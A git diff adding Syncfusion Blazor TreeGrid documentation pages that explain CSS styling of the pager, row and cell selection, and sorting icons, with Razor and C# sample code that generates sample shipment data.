+<style>
+    .e-treegrid .e-gridheader .e-columnheader {
+        display: none;
+    }
+</style>
+@code {
+    public class BusinessObject
+    {
+        public int TaskId { get; set; }
+        public string TaskName { get; set; }
+        public DateOnly? StartDate { get; set; }
+        public TimeOnly? StartTime { get; set; }
+        public int Duration { get; set; }
+        public int Progress { get; set; }
+        public string Priority { get; set; }
+        public int? ParentId { get; set; }
+    }
+
+    public List<BusinessObject> TreeData = new List<BusinessObject>();
+
+    protected override void OnInitialized()
+    {
+        TreeData.Add(new BusinessObject() { TaskId = 1, TaskName = "Parent Task 1", StartDate = new DateOnly(2021, 03, 02), StartTime = new TimeOnly(10, 00, 00), Duration = 10, Progress = 70, ParentId = null, Priority = "High" });
+        TreeData.Add(new BusinessObject() { TaskId = 2, TaskName = "Child task 1", StartDate = new DateOnly(2021, 03, 04), StartTime = new TimeOnly(11, 30, 00), Duration = 4, Progress = 80, ParentId = 1, Priority = "Normal" });
+        TreeData.Add(new BusinessObject() { TaskId = 3, TaskName = "Child Task 2", StartDate = new DateOnly(2021, 03, 06), StartTime = new TimeOnly(12, 00, 00), Duration = 5, Progress = 65, ParentId = 1, Priority = "Critical" });
+        TreeData.Add(new BusinessObject() { TaskId = 4, TaskName = "Parent Task 2", StartDate = new DateOnly(2021, 03, 08), StartTime = new TimeOnly(13, 30, 00), Duration = 6, Progress = 77, ParentId = null, Priority = "Low" });
+        TreeData.Add(new BusinessObject() { TaskId = 5, TaskName = "Child Task 5", StartDate = new DateOnly(2021, 07, 10), StartTime = new TimeOnly(14, 00, 00), Duration = 9, Progress = 25, ParentId = 4, Priority = "Normal" });
+        TreeData.Add(new BusinessObject() { TaskId = 6, TaskName = "Child Task 6", StartDate = new DateOnly(2021, 10, 12), StartTime = new TimeOnly(16, 00, 00), Duration = 9, Progress = 7, ParentId = 5, Priority = "Normal" });
+        TreeData.Add(new BusinessObject() { TaskId = 7, TaskName = "Parent Task 3", StartDate = new DateOnly(2021, 10, 14), StartTime = new TimeOnly(17, 30, 00), Duration = 4, Progress = 45, ParentId = null, Priority = "High" });
+        TreeData.Add(new BusinessObject() { TaskId = 8, TaskName = "Child Task 7", StartDate = new DateOnly(2021, 10, 16), StartTime = new TimeOnly(18, 00, 00), Duration = 3, Progress = 38, ParentId = 7, Priority = "Critical" });
+        TreeData.Add(new BusinessObject() { TaskId = 9, TaskName = "Child Task 8", StartDate = new DateOnly(2021, 02, 18), StartTime = new TimeOnly(19, 30, 00), Duration = 7, Progress = 70, ParentId = 7, Priority = "Low" });
+    }
+}
+
+{% endhighlight %}
+{% endtabs %}
+
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LXroMtixVyHRNvjg?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" %}
\ No newline at end of file
diff --git a/blazor/treegrid/style-and-appearance/paging.md b/blazor/treegrid/style-and-appearance/paging.md
new file mode 100644
index 0000000000..1bf4887da9
--- /dev/null
+++ b/blazor/treegrid/style-and-appearance/paging.md
@@ -0,0 +1,250 @@
+---
+layout: post
+title: Pager styling and customization in Blazor TreeGrid | Syncfusion
+description: Learn how to style the Syncfusion Blazor TreeGrid pager using CSS—customize container, buttons, numeric items, and page indicator.
+platform: Blazor
+control: TreeGrid
+documentation: ug
+---
+
+# Paging customization in Syncfusion Blazor TreeGrid
+
+The appearance of paging elements in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor TreeGrid can be customized using CSS. Styling options are available for different parts of the pager interface:
+
+- **Root container:** The outermost wrapper that holds all pager content.
+- **Pager container:** The inner layout that positions the controls.
+- **Navigation buttons:** Commands for first, previous, next, and last page navigation.
+- **Numeric page indicators:** Indicators that jump directly to specific pages.
+- **Current page indicator:** The highlight that marks the active numeric page button.
+
+## Customize the pager root element
+
+The **.e-gridpager** class styles the pager root element in the Blazor TreeGrid. Use CSS to adjust its appearance:
+
+```css
+.e-treegrid .e-gridpager {
+    font-family: cursive;
+    background-color: #deecf9;
+}
+```
+
+Properties like **font-family**, **background-color**, and spacing-related styles can be changed to fit the TreeGrid layout design.
+
+![Pager root element](../images/style-and-appearance/treegrid-pager-root-element.webp)
+
+## Customize the pager container element
+
+The **.e-pagercontainer** class styles the pager container in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor TreeGrid. Apply CSS to modify its look:
+
+```css
+.e-treegrid .e-pagercontainer {
+    border: 2px solid #00b5ff;
+    font-family: cursive;
+}
+```
+
+Properties such as **font-family**, **background-color**, and spacing-related styles can be adjusted to align with the TreeGrid design.
+
+![Pager container element](../images/style-and-appearance/treegrid-pager-container-element.webp)
+
+## Customize the pager navigation elements
+
+The **.e-prevpagedisabled**, **.e-prevpage**, **.e-nextpage**, **.e-nextpagedisabled**, **.e-lastpagedisabled**, **.e-lastpage**, **.e-firstpage**, and **.e-firstpagedisabled** classes define the appearance of the pager navigation buttons in the Blazor TreeGrid. Apply CSS to customize their styling:
+
+```css
+.e-treegrid .e-gridpager .e-prevpagedisabled,
+.e-treegrid .e-gridpager .e-prevpage,
+.e-treegrid .e-gridpager .e-nextpage,
+.e-treegrid .e-gridpager .e-nextpagedisabled,
+.e-treegrid .e-gridpager .e-lastpagedisabled,
+.e-treegrid .e-gridpager .e-lastpage,
+.e-treegrid .e-gridpager .e-firstpage,
+.e-treegrid .e-gridpager .e-firstpagedisabled {
+    background-color: #deecf9;
+}
+```
+
+Adjust properties like **background-color** to match the design, while keeping clear focus styles for accessibility.
+
+![Pager navigation elements](../images/style-and-appearance/treegrid-pager-navigation-element.webp)
+
+## Customize the pager numeric button elements
+
+The **.e-numericitem** class styles the numeric page buttons in the Blazor TreeGrid. Apply CSS to change their appearance:
+
+```css
+.e-treegrid .e-gridpager .e-numericitem {
+    background-color: #5290cb;
+    color: #ffffff;
+    cursor: pointer;
+}
+
+.e-treegrid .e-gridpager .e-numericitem:hover {
+    background-color: white;
+    color: #007bff;
+}
+```
+
+Modify properties such as **background-color**, **color**, and **hover** effects to improve clarity and interaction.
+
+![Pager numeric button elements](../images/style-and-appearance/pager-page-numeric-link-elements.webp)
+
+## Customize the current page numeric element
+
+The **.e-currentitem** class styles the current page indicator in the Blazor TreeGrid pager. Use CSS to adjust it:
+
+```css
+.e-treegrid .e-gridpager .e-currentitem {
+    background-color: #0078d7;
+    color: #fff;
+}
+```
+
+Change properties like **background-color** and **color** to highlight the active page.
+
+![Current page numeric element](../images/style-and-appearance/grid-pager-current-page-numeric-element.webp)
+
+{% tabs %}
+{% highlight razor tabtitle="Index.razor" %}
+
+@using Syncfusion.Blazor.TreeGrid
+@using Syncfusion.Blazor.Grids
+<SfTreeGrid DataSource="@TreeGridData" IdMapping="ID" ParentIdMapping="ParentID" Height="440" TreeColumnIndex="1" AllowPaging="true">
+    <TreeGridPageSettings PageCount="5" PageSize="2" PageSizeMode="PageSizeMode.Root"></TreeGridPageSettings>
+    <TreeGridEditSettings AllowEditing="true"></TreeGridEditSettings>
+    <TreeGridColumns>
+        <TreeGridColumn Field="ShipID" HeaderText="Ship ID" Width="80" Visible="false" IsPrimaryKey="true" TextAlign="TextAlign.Right"></TreeGridColumn>
+        <TreeGridColumn Field="Name" ClipMode="ClipMode.EllipsisWithTooltip" HeaderText="Orders" Width="100"></TreeGridColumn>
+        <TreeGridColumn Field="ShipmentCategory" HeaderText="Category" Width="100"></TreeGridColumn>
+        <TreeGridColumn Field="Units" HeaderText="Units" Width="80" TextAlign="TextAlign.Right"></TreeGridColumn>
+        <TreeGridColumn Field="UnitPrice" ClipMode="ClipMode.EllipsisWithTooltip" HeaderText="Unit Price" Format="c2" Width="90" TextAlign="TextAlign.Right"></TreeGridColumn>
+        <TreeGridColumn Field="OrderDate" HeaderText="Ordered Date" ClipMode="ClipMode.EllipsisWithTooltip" Format="d" Type="ColumnType.Date" Width="120" TextAlign="TextAlign.Right"></TreeGridColumn>
+        <TreeGridColumn Field="ShippedDate" HeaderText="Shipped Date" ClipMode="ClipMode.EllipsisWithTooltip" Format="d" Type="ColumnType.Date" Width="120" TextAlign="TextAlign.Right"></TreeGridColumn>
+    </TreeGridColumns>
+</SfTreeGrid>
+
+<style>
+    .e-treegrid .e-gridpager .e-currentitem {
+        background-color: #1114a7;
+        color: #fff;
+    }
+</style>
+
+@code {
+    private List<ShipmentData> TreeGridData { get; set; } = new List<ShipmentData>();
+    private List<string> PageSizes { get; set; } = new List<string>();
+    protected override void OnInitialized()
+    {
+        TreeGridData = ShipmentData.GetData();
+        PageSizes = new List<string>() { "2", "4", "5", "10", "15", "20", "All" };
+    }
+}
+
+{% endhighlight %}
+
+{% highlight c# tabtitle="ShipmentData.cs" %}
+
+public class ShipmentData
+{
+    public int? ID { get; set; }
+    public int? ShipID { get; set; }
+    public string? Name { get; set; }
+    public int? Units { get; set; }
+    public string? Category { get; set; }
+    public int? UnitPrice { get; set; }
+    public int? Price { get; set; }
+    public int? TotalPrice { get; set; } // Added for total price calculation (sum for parents, individual for items)
+    public string? ShipmentCategory { get; set; }
+    public DateTime? ShippedDate { get; set; } = null;
+    public DateTime? OrderDate { get; set; } = null;
+    public string? OrderReached { get; set; } = null;
+    public int? ParentID { get; set; }
+    private static void CalculateTotalPrices(List<ShipmentData> data)
+    {
+        // For items (non-parents), TotalPrice = Price
+        // For parents, TotalPrice = sum of children's TotalPrice
+        var parents = data.Where(d => d.ParentID == null).ToList();
+        foreach (var parent in parents)
+        {
+            var children = data.Where(d => d.ParentID == parent.ID).ToList();
+            parent.TotalPrice = children.Sum(c => c.Price ?? 0);
+            // Recursively set for children if nested, but here it's flat tree
+        }
+        // Set for items
+        foreach (var item in data.Where(d => d.ParentID != null))
+        {
+            item.TotalPrice = item.Price;
+        }
+    }
+    public static List<ShipmentData> GetData()
+    {
+        var data = new List<ShipmentData>(capacity: 150);
+        var rnd = new Random(42); // deterministic
+        var baseOrderDate = new DateTime(2025, 1, 1);
+        // pools for categories/items - standardized to Title Case
+        var categories = new[]
+        {
+            ("Seafood", new[] { "Mackerel", "Herrings", "Tilapias", "White Shrimp", "Yellowfin Tuna" }),
+            ("Dairy", new[] { "Fresh Cheese", "Blue Veined Cheese", "Butter", "Milk", "Yogurt" }),
+            ("Edible", new[] { "Preserved Olives", "Sweet corn", "Pickles", "Tomato Puree", "Olive Oil" }),
+            ("Crystals", new[] { "Lead glassware", "Pharmaceutical glass", "Glass beads", "Crystal vials", "Borosilicate glass" }),
+            ("Fresh Vegetables", new[] { "Broccoli", "Spinach", "Carrots", "Lettuce", "Cabbage" }),
+            ("Leafy Greens", new[] { "Kale", "Arugula", "Chard", "Collards", "Mustard Greens" }),
+            ("Root Vegetables", new[] { "Beets", "Radish", "Parsnip", "Turnip", "Rutabaga" }),
+            ("Paper", new[] { "Printer Paper", "Photo Paper", "Sticky Notes", "Card Stock", "Plotter Rolls" }),
+            ("Consumables", new[] { "Ink Cartridges", "Toner", "Markers", "Glue Sticks", "Tape Rolls" }),
+            ("Tools", new[] { "Staplers", "Hole Punch", "Cutters", "Rulers", "Scissors" }),
+            ("Stationery", new[] { "Notebooks", "Pens", "Pencils", "Folders", "Envelopes" })
+        };
+        int id = 0;
+        int shipSeed = 4500;
+        for (int p = 1; p <= 10; p++)
+        {
+            int parentId = id++;
+            data.Add(new ShipmentData
+            {
+                ID = parentId,
+                Name = $"Order {p}",
+                ParentID = null
+            });
+            for (int c = 0; c < 4; c++)
+            {
+                // pick a category and item name
+                var (cat, items) = categories[(p + c) % categories.Length];
+                var itemName = items[(p * 3 + c) % items.Length];
+                // numbers
+                int units = 20 + rnd.Next(11); // 20..30
+                int unitPrice = 5 + rnd.Next(20); // 5..24
+                int price = units * unitPrice;
+                // dates
+                var orderDate = baseOrderDate.AddDays(p * 7 + c * 3);
+                var shipLag = 3 + rnd.Next(10); // 3..12 days
+                var shippedDate = orderDate.AddDays(shipLag);
+                // reached?
+                var reached = shippedDate >= orderDate.AddDays(7) && rnd.Next(100) > 30 ? "Yes" : "No";
+                data.Add(new ShipmentData
+                {
+                    ID = id,
+                    ShipID = shipSeed + id,
+                    Name = itemName,
+                    Category = cat,
+                    Units = units,
+                    UnitPrice = unitPrice,
+                    Price = price,
+                    OrderDate = orderDate,
+                    ShippedDate = shippedDate,
+                    ShipmentCategory = cat,
+                    OrderReached = reached,
+                    ParentID = parentId
+                });
+                id++;
+            }
+        }
+        CalculateTotalPrices(data);
+        return data;
+    }
+}
+
+{% endhighlight %}
+{% endtabs %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BtrdjpBVzbiapgnK?appbar=false&editor=false&result=true&errorlist=false&theme=fluent2" %}
\ No newline at end of file
diff --git a/blazor/treegrid/style-and-appearance/selection.md b/blazor/treegrid/style-and-appearance/selection.md
new file mode 100644
index 0000000000..37d2431e0e
--- /dev/null
+++ b/blazor/treegrid/style-and-appearance/selection.md
@@ -0,0 +1,332 @@
+---
+layout: post
+title: Selection styling with CSS in Blazor TreeGrid | Syncfusion
+description: Learn how to style row and cell selection in Syncfusion Blazor TreeGrid using CSS, with tips on isolation and selector specificity.
+platform: Blazor
+control: TreeGrid
+documentation: ug
+---
+
+# Selection customization in Syncfusion Blazor TreeGrid
+
+The appearance of selection elements in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor TreeGrid can be customized using CSS. Styling options are available for:
+
+- **Row selection background:** Highlights the entire row when selected.
+- **Cell selection background:** Highlights individual cells when selected.
+
+## Customize row selection background
+
+The **.e-selectionbackground** class styles the background of selected rows in the TreeGrid. Use CSS to modify its appearance:
+
+```css
+.e-treegrid td.e-selectionbackground {
+    background-color: #00b7ea;
+}
+```
+
+Properties such as **background-color**, **color**, and **font-weight** can be adjusted to match the TreeGrid's design.
+
+![Row selection](../images/style-and-appearance/row-selection.webp)
+
+{% tabs %}
+{% highlight razor tabtitle="Index.razor" %}
+
+@using Syncfusion.Blazor.TreeGrid
+@using Syncfusion.Blazor.Grids
+<SfTreeGrid DataSource="@TreeGridData" IdMapping="ID" ParentIdMapping="ParentID" AllowSelection=true Height="440" TreeColumnIndex="1" AllowPaging="true">
+    <TreeGridPageSettings PageCount="5" PageSize="2" PageSizeMode="PageSizeMode.Root"></TreeGridPageSettings>
+    <TreeGridEditSettings AllowEditing="true"></TreeGridEditSettings>
+    <TreeGridColumns>
+        <TreeGridColumn Field="ShipID" HeaderText="Ship ID" Width="80" Visible="false" IsPrimaryKey="true" TextAlign="TextAlign.Right"></TreeGridColumn>
+        <TreeGridColumn Field="Name" ClipMode="ClipMode.EllipsisWithTooltip" HeaderText="Orders" Width="100"></TreeGridColumn>
+        <TreeGridColumn Field="ShipmentCategory" HeaderText="Category" Width="100"></TreeGridColumn>
+        <TreeGridColumn Field="Units" HeaderText="Units" Width="80" TextAlign="TextAlign.Right"></TreeGridColumn>
+        <TreeGridColumn Field="UnitPrice" ClipMode="ClipMode.EllipsisWithTooltip" HeaderText="Unit Price" Format="c2" Width="90" TextAlign="TextAlign.Right"></TreeGridColumn>
+        <TreeGridColumn Field="OrderDate" HeaderText="Ordered Date" ClipMode="ClipMode.EllipsisWithTooltip" Format="d" Type="ColumnType.Date" Width="120" TextAlign="TextAlign.Right"></TreeGridColumn>
+        <TreeGridColumn Field="ShippedDate" HeaderText="Shipped Date" ClipMode="ClipMode.EllipsisWithTooltip" Format="d" Type="ColumnType.Date" Width="120" TextAlign="TextAlign.Right"></TreeGridColumn>
+    </TreeGridColumns>
+</SfTreeGrid>
+
+<style>
+    .e-treegrid td.e-selectionbackground {
+        background-color: #00b7ea;
+    }
+</style>
+
+@code {
+    private List<ShipmentData> TreeGridData { get; set; } = new List<ShipmentData>();
+    private List<string> PageSizes { get; set; } = new List<string>();
+    protected override void OnInitialized()
+    {
+        TreeGridData = ShipmentData.GetData();
+        PageSizes = new List<string>() { "2", "4", "5", "10", "15", "20", "All" };
+    }
+}
+
+{% endhighlight %}
+
+{% highlight c# tabtitle="ShipmentData.cs" %}
+
+public class ShipmentData
+{
+    public int? ID { get; set; }
+    public int? ShipID { get; set; }
+    public string? Name { get; set; }
+    public int? Units { get; set; }
+    public string? Category { get; set; }
+    public int? UnitPrice { get; set; }
+    public int? Price { get; set; }
+    public int? TotalPrice { get; set; } // Added for total price calculation (sum for parents, individual for items)
+    public string? ShipmentCategory { get; set; }
+    public DateTime? ShippedDate { get; set; } = null;
+    public DateTime? OrderDate { get; set; } = null;
+    public string? OrderReached { get; set; } = null;
+    public int? ParentID { get; set; }
+    private static void CalculateTotalPrices(List<ShipmentData> data)
+    {
+        // For items (non-parents), TotalPrice = Price
+        // For parents, TotalPrice = sum of children's TotalPrice
+        var parents = data.Where(d => d.ParentID == null).ToList();
+        foreach (var parent in parents)
+        {
+            var children = data.Where(d => d.ParentID == parent.ID).ToList();
+            parent.TotalPrice = children.Sum(c => c.Price ?? 0);
+            // Recursively set for children if nested, but here it's flat tree
+        }
+        // Set for items
+        foreach (var item in data.Where(d => d.ParentID != null))
+        {
+            item.TotalPrice = item.Price;
+        }
+    }
+    public static List<ShipmentData> GetData()
+    {
+        var data = new List<ShipmentData>(capacity: 150);
+        var rnd = new Random(42); // deterministic
+        var baseOrderDate = new DateTime(2025, 1, 1);
+        // pools for categories/items - standardized to Title Case
+        var categories = new[]
+        {
+            ("Seafood", new[] { "Mackerel", "Herrings", "Tilapias", "White Shrimp", "Yellowfin Tuna" }),
+            ("Dairy", new[] { "Fresh Cheese", "Blue Veined Cheese", "Butter", "Milk", "Yogurt" }),
+            ("Edible", new[] { "Preserved Olives", "Sweet corn", "Pickles", "Tomato Puree", "Olive Oil" }),
+            ("Crystals", new[] { "Lead glassware", "Pharmaceutical glass", "Glass beads", "Crystal vials", "Borosilicate glass" }),
+            ("Fresh Vegetables", new[] { "Broccoli", "Spinach", "Carrots", "Lettuce", "Cabbage" }),
+            ("Leafy Greens", new[] { "Kale", "Arugula", "Chard", "Collards", "Mustard Greens" }),
+            ("Root Vegetables", new[] { "Beets", "Radish", "Parsnip", "Turnip", "Rutabaga" }),
+            ("Paper", new[] { "Printer Paper", "Photo Paper", "Sticky Notes", "Card Stock", "Plotter Rolls" }),
+            ("Consumables", new[] { "Ink Cartridges", "Toner", "Markers", "Glue Sticks", "Tape Rolls" }),
+            ("Tools", new[] { "Staplers", "Hole Punch", "Cutters", "Rulers", "Scissors" }),
+            ("Stationery", new[] { "Notebooks", "Pens", "Pencils", "Folders", "Envelopes" })
+        };
+        int id = 0;
+        int shipSeed = 4500;
+        for (int p = 1; p <= 10; p++)
+        {
+            int parentId = id++;
+            data.Add(new ShipmentData
+            {
+                ID = parentId,
+                Name = $"Order {p}",
+                ParentID = null
+            });
+            for (int c = 0; c < 4; c++)
+            {
+                // pick a category and item name
+                var (cat, items) = categories[(p + c) % categories.Length];
+                var itemName = items[(p * 3 + c) % items.Length];
+                // numbers
+                int units = 20 + rnd.Next(11); // 20..30
+                int unitPrice = 5 + rnd.Next(20); // 5..24
+                int price = units * unitPrice;
+                // dates
+                var orderDate = baseOrderDate.AddDays(p * 7 + c * 3);
+                var shipLag = 3 + rnd.Next(10); // 3..12 days
+                var shippedDate = orderDate.AddDays(shipLag);
+                // reached?
+                var reached = shippedDate >= orderDate.AddDays(7) && rnd.Next(100) > 30 ? "Yes" : "No";
+                data.Add(new ShipmentData
+                {
+                    ID = id,
+                    ShipID = shipSeed + id,
+                    Name = itemName,
+                    Category = cat,
+                    Units = units,
+                    UnitPrice = unitPrice,
+                    Price = price,
+                    OrderDate = orderDate,
+                    ShippedDate = shippedDate,
+                    ShipmentCategory = cat,
+                    OrderReached = reached,
+                    ParentID = parentId
+                });
+                id++;
+            }
+        }
+        CalculateTotalPrices(data);
+        return data;
+    }
+}
+
+{% endhighlight %}
+{% endtabs %}
+
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BNrxDphrTkisQobX?appbar=false&editor=false&result=true&errorlist=false&theme=fluent2" %}
+
+## Customize cell selection background
+
+The **.e-cellselectionbackground** class styles the background of selected cells in the TreeGrid. Apply CSS to customize its appearance:
+
+```css
+.e-treegrid td.e-cellselectionbackground {
+    background-color: #00b7ea;
+}
+```
+
+Modify visual properties to align with the overall layout and improve clarity.
+
+![Cell selection](../images/style-and-appearance/cell-selection.webp)
+
+{% tabs %}
+{% highlight razor tabtitle="Index.razor" %}
+
+@using Syncfusion.Blazor.TreeGrid
+@using Syncfusion.Blazor.Grids
+<SfTreeGrid DataSource="@TreeGridData" IdMapping="ID" ParentIdMapping="ParentID" AllowSelection=true Height="440" TreeColumnIndex="1" AllowPaging="true">
+    <TreeGridPageSettings PageCount="5" PageSize="2" PageSizeMode="PageSizeMode.Root"></TreeGridPageSettings>
+    <TreeGridEditSettings AllowEditing="true"></TreeGridEditSettings>
+    <TreeGridColumns>
+        <TreeGridColumn Field="ShipID" HeaderText="Ship ID" Width="80" Visible="false" IsPrimaryKey="true" TextAlign="TextAlign.Right"></TreeGridColumn>
+        <TreeGridColumn Field="Name" ClipMode="ClipMode.EllipsisWithTooltip" HeaderText="Orders" Width="100"></TreeGridColumn>
+        <TreeGridColumn Field="ShipmentCategory" HeaderText="Category" Width="100"></TreeGridColumn>
+        <TreeGridColumn Field="Units" HeaderText="Units" Width="80" TextAlign="TextAlign.Right"></TreeGridColumn>
+        <TreeGridColumn Field="UnitPrice" ClipMode="ClipMode.EllipsisWithTooltip" HeaderText="Unit Price" Format="c2" Width="90" TextAlign="TextAlign.Right"></TreeGridColumn>
+        <TreeGridColumn Field="OrderDate" HeaderText="Ordered Date" ClipMode="ClipMode.EllipsisWithTooltip" Format="d" Type="ColumnType.Date" Width="120" TextAlign="TextAlign.Right"></TreeGridColumn>
+        <TreeGridColumn Field="ShippedDate" HeaderText="Shipped Date" ClipMode="ClipMode.EllipsisWithTooltip" Format="d" Type="ColumnType.Date" Width="120" TextAlign="TextAlign.Right"></TreeGridColumn>
+    </TreeGridColumns>
+</SfTreeGrid>
+
+<style>
+    .e-treegrid td.e-cellselectionbackground {
+    background-color: #00b7ea;
+    }
+</style>
+
+@code {
+    private List<ShipmentData> TreeGridData { get; set; } = new List<ShipmentData>();
+    private List<string> PageSizes { get; set; } = new List<string>();
+    protected override void OnInitialized()
+    {
+        TreeGridData = ShipmentData.GetData();
+        PageSizes = new List<string>() { "2", "4", "5", "10", "15", "20", "All" };
+    }
+}
+
+{% endhighlight %}
+
+{% highlight c# tabtitle="ShipmentData.cs" %}
+
+public class ShipmentData
+{
+    public int? ID { get; set; }
+    public int? ShipID { get; set; }
+    public string? Name { get; set; }
+    public int? Units { get; set; }
+    public string? Category { get; set; }
+    public int? UnitPrice { get; set; }
+    public int? Price { get; set; }
+    public int? TotalPrice { get; set; } // Added for total price calculation (sum for parents, individual for items)
+    public string? ShipmentCategory { get; set; }
+    public DateTime? ShippedDate { get; set; } = null;
+    public DateTime? OrderDate { get; set; } = null;
+    public string? OrderReached { get; set; } = null;
+    public int? ParentID { get; set; }
+    private static void CalculateTotalPrices(List<ShipmentData> data)
+    {
+        // For items (non-parents), TotalPrice = Price
+        // For parents, TotalPrice = sum of children's TotalPrice
+        var parents = data.Where(d => d.ParentID == null).ToList();
+        foreach (var parent in parents)
+        {
+            var children = data.Where(d => d.ParentID == parent.ID).ToList();
+            parent.TotalPrice = children.Sum(c => c.Price ?? 0);
+            // Recursively set for children if nested, but here it's flat tree
+        }
+        // Set for items
+        foreach (var item in data.Where(d => d.ParentID != null))
+        {
+            item.TotalPrice = item.Price;
+        }
+    }
+    public static List<ShipmentData> GetData()
+    {
+        var data = new List<ShipmentData>(capacity: 150);
+        var rnd = new Random(42); // deterministic
+        var baseOrderDate = new DateTime(2025, 1, 1);
+        // pools for categories/items - standardized to Title Case
+        var categories = new[]
+        {
+            ("Seafood", new[] { "Mackerel", "Herrings", "Tilapias", "White Shrimp", "Yellowfin Tuna" }),
+            ("Dairy", new[] { "Fresh Cheese", "Blue Veined Cheese", "Butter", "Milk", "Yogurt" }),
+            ("Edible", new[] { "Preserved Olives", "Sweet corn", "Pickles", "Tomato Puree", "Olive Oil" }),
+            ("Crystals", new[] { "Lead glassware", "Pharmaceutical glass", "Glass beads", "Crystal vials", "Borosilicate glass" }),
+            ("Fresh Vegetables", new[] { "Broccoli", "Spinach", "Carrots", "Lettuce", "Cabbage" }),
+            ("Leafy Greens", new[] { "Kale", "Arugula", "Chard", "Collards", "Mustard Greens" }),
+            ("Root Vegetables", new[] { "Beets", "Radish", "Parsnip", "Turnip", "Rutabaga" }),
+            ("Paper", new[] { "Printer Paper", "Photo Paper", "Sticky Notes", "Card Stock", "Plotter Rolls" }),
+            ("Consumables", new[] { "Ink Cartridges", "Toner", "Markers", "Glue Sticks", "Tape Rolls" }),
+            ("Tools", new[] { "Staplers", "Hole Punch", "Cutters", "Rulers", "Scissors" }),
+            ("Stationery", new[] { "Notebooks", "Pens", "Pencils", "Folders", "Envelopes" })
+        };
+        int id = 0;
+        int shipSeed = 4500;
+        for (int p = 1; p <= 10; p++)
+        {
+            int parentId = id++;
+            data.Add(new ShipmentData
+            {
+                ID = parentId,
+                Name = $"Order {p}",
+                ParentID = null
+            });
+            for (int c = 0; c < 4; c++)
+            {
+                // pick a category and item name
+                var (cat, items) = categories[(p + c) % categories.Length];
+                var itemName = items[(p * 3 + c) % items.Length];
+                // numbers
+                int units = 20 + rnd.Next(11); // 20..30
+                int unitPrice = 5 + rnd.Next(20); // 5..24
+                int price = units * unitPrice;
+                // dates
+                var orderDate = baseOrderDate.AddDays(p * 7 + c * 3);
+                var shipLag = 3 + rnd.Next(10); // 3..12 days
+                var shippedDate = orderDate.AddDays(shipLag);
+                // reached?
+                var reached = shippedDate >= orderDate.AddDays(7) && rnd.Next(100) > 30 ? "Yes" : "No";
+                data.Add(new ShipmentData
+                {
+                    ID = id,
+                    ShipID = shipSeed + id,
+                    Name = itemName,
+                    Category = cat,
+                    Units = units,
+                    UnitPrice = unitPrice,
+                    Price = price,
+                    OrderDate = orderDate,
+                    ShippedDate = shippedDate,
+                    ShipmentCategory = cat,
+                    OrderReached = reached,
+                    ParentID = parentId
+                });
+                id++;
+            }
+        }
+        CalculateTotalPrices(data);
+        return data;
+    }
+}
+
+{% endhighlight %}
+{% endtabs %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rXLxXzVVTuylwmnU?appbar=false&editor=false&result=true&errorlist=false&theme=fluent2" %}
\ No newline at end of file
diff --git a/blazor/treegrid/style-and-appearance/sorting.md b/blazor/treegrid/style-and-appearance/sorting.md
new file mode 100644
index 0000000000..01a2f29a17
--- /dev/null
+++ b/blazor/treegrid/style-and-appearance/sorting.md
@@ -0,0 +1,140 @@
+---
+layout: post
+title: Sorting Icon Styling in Blazor TreeGrid | Syncfusion
+description: Learn how to style sorting icons in Syncfusion Blazor TreeGrid using CSS, with tips on theme icon codes and CSS isolation.
+platform: Blazor
+control: TreeGrid
+documentation: ug
+---
+
+# Sorting customization in Syncfusion Blazor TreeGrid
+
+The appearance of sorting indicators in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor TreeGrid can be customized using CSS. Styling options are available for:
+
+- **Ascending and descending sort icons:** Show the current sort direction in column headers.
+- **Multi-sorting order indicators:** Display the order of sorting when multiple columns are sorted.
+
+## Customize sorting icons
+
+The **.e-icon-ascending** and **.e-icon-descending** classes define the icons shown in the TreeGrid header when a column is sorted in `ascending` or `descending` order. Use CSS to adjust its appearance:
+
+```css
+.e-treegrid .e-gridheader .e-icon-ascending::before {
+     content: '\e7a3'; /* Ascending icon code */
+ }
+
+ .e-treegrid .e-gridheader .e-icon-descending::before {
+     content: '\e7b6'; /* Descending icon code */
+ }
+```
+
+Adjust properties such as **content**, **color**, **font-size**, and **margin** to match the TreeGrid design. Ensure the correct icon font family is loaded to display the icons properly.
+
+![Grid sorting icon](../images/style-and-appearance/sort1.webp)
+
+## Customize multi-sorting indicators
+
+The **.e-sortnumber** class styles the numeric indicator shown when multiple columns are sorted. Apply CSS to change their appearance:
+
+```css
+.e-treegrid .e-gridheader .e-sortnumber {
+    background-color: #deecf9;
+    font-family: cursive;
+}
+```
+
+Modify properties such as **background-color**, **font-family**, **font-size**, and **border-radius** to align with the TreeGrid layout. Ensure accessibility by maintaining clear contrast and focus styles.
+
+![Grid multi sorting icon](../images/style-and-appearance/sort2.webp)
+
+{% tabs %}
+{% highlight razor tabtitle="Index.razor" %}
+
+@using Syncfusion.Blazor.TreeGrid;
+
+<SfTreeGrid DataSource="@TreeData" IdMapping="TaskId" ParentIdMapping="ParentId" TreeColumnIndex="1" AllowSorting AllowMultiSorting>
+    <TreeGridColumns>
+        <TreeGridColumn Field="TaskId" HeaderText="Task ID" Width="80" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
+        <TreeGridColumn Field="TaskName" HeaderText="Task Name" Width="160"></TreeGridColumn>
+        <TreeGridColumn Field="StartDate" HeaderText="Start Date" Format="d" Type="Syncfusion.Blazor.Grids.ColumnType.DateOnly" Width="152" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
+        <TreeGridColumn Field="StartTime" HeaderText="Start Time" Type="Syncfusion.Blazor.Grids.ColumnType.TimeOnly" Width="100" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
+        <TreeGridColumn Field="Duration" HeaderText="Duration" Width="100" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
+        <TreeGridColumn Field="Progress" HeaderText="Progress" Width="100" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
+    </TreeGridColumns>
+</SfTreeGrid>
+
+<style>
+    /* Multi-sorting order badge (e.g., 1, 2, 3) */
+    .e-treegrid .e-gridheader .e-sortnumber {
+        background-color: #deecf9;
+        color: #0b6aa2;
